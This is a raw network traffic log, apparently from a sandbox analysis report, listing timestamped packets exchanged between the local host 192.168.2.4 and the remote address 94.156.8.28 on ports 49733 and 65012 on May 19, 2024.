May 19, 2024 06:01:08.679044962 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679053068 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.679068089 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679080963 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.679091930 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679109097 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.679117918 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679136038 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.679150105 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679163933 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.679179907 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679198980 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.679223061 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683399916 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683433056 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683460951 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683475971 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683487892 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683506012 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683531046 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683552980 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683558941 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683587074 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683600903 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683614969 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683641911 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683644056 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683670044 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683689117 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683696985 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683723927 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.683727026 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683752060 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.683774948 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.684811115 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.684839964 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.684865952 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.684892893 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.684895992 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.684916019 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.684921980 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.684948921 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.684951067 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.684977055 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.684978962 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685003042 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685005903 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685034037 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685034037 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685061932 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685064077 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685091019 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685095072 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685118914 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685127020 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685138941 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685147047 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685170889 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685173988 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685200930 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685201883 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685230017 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685230017 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685251951 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685261011 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685287952 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685296059 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685316086 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685322046 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685343981 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685348034 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685368061 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.685373068 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.685425997 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.688222885 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.688257933 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.688285112 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.688290119 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.688323975 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.688348055 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691066980 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691096067 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691123962 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691150904 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691163063 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691178083 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691205978 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691212893 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691241026 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691270113 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691296101 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691318989 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691323042 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691345930 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691350937 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691379070 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691385984 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691401958 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691406965 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691433907 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691437006 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691457987 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691462994 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691489935 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691489935 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691519022 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691519976 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691546917 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691555977 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691574097 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691575050 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691602945 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691615105 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691631079 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.691632986 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691669941 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.691692114 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693309069 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693341970 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693367958 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693377972 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693397045 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693404913 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693427086 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693439960 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693454027 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693468094 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693494081 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693495989 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693522930 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693526030 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693550110 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693564892 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693578959 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693600893 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693605900 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693624020 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693633080 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693650961 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693660021 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693680048 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693687916 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693701982 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693713903 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693722963 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693742990 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.693748951 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693782091 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.693802118 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697487116 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697515965 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697542906 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697568893 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697582006 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697596073 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697597980 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697624922 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697635889 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697650909 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697654009 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697675943 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697680950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697707891 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697715998 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697735071 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697740078 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697765112 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697772980 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697792053 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697807074 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697819948 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697825909 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697848082 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697859049 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697875977 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697887897 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697905064 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697911978 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697932959 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697936058 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697957039 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697961092 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.697985888 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.697989941 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698014975 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698016882 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698044062 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698045969 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698071957 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698121071 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698471069 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698515892 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698533058 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698543072 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698569059 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698570013 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698595047 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698597908 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698621988 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698637962 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.698652029 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.698693991 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703039885 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703068018 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703094959 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703120947 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703128099 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703149080 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703169107 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703177929 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703205109 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703207016 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703233957 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703239918 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703263044 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703263998 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703291893 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703291893 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703320026 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703336000 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703347921 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703363895 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703375101 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703386068 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703402996 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703411102 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703430891 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703438044 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703459024 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703464031 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703485966 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703486919 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703515053 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703531027 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703543901 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703557968 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703572035 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703582048 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703599930 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.703607082 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703627110 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.703661919 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.704243898 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.704277039 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.704303980 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.704333067 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.704344988 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.704370022 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.704374075 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.704399109 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.704401970 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.704423904 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.704471111 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708564043 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708592892 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708621979 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708650112 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708676100 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708702087 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708712101 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708729029 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708755970 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708769083 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708782911 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708790064 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708811045 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708812952 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708838940 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708842039 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708858967 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708867073 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708890915 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708894968 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708916903 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708923101 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708946943 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.708952904 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708980083 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.708986044 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709007025 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709011078 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709033012 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709037066 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709059954 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709065914 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709094048 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709099054 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709125042 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709125996 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709160089 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709192038 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709821939 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709853888 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709881067 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709882975 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709913969 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709928989 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709933043 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.709958076 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709984064 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.709992886 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.710011959 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.710015059 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.710036993 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.710041046 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.710063934 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.710067987 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.710098028 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.710129023 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714267015 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714294910 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714323044 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714337111 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714351892 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714363098 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714380980 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714386940 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714409113 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714416027 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714433908 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714437008 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714463949 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714463949 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714492083 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714498043 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714519024 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714526892 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714546919 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714555979 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714575052 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714585066 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714602947 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714617968 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714629889 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714658022 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714659929 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714687109 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714699030 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714715004 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714741945 CEST	65012	49733	94.156.8.28	192.168.2.4
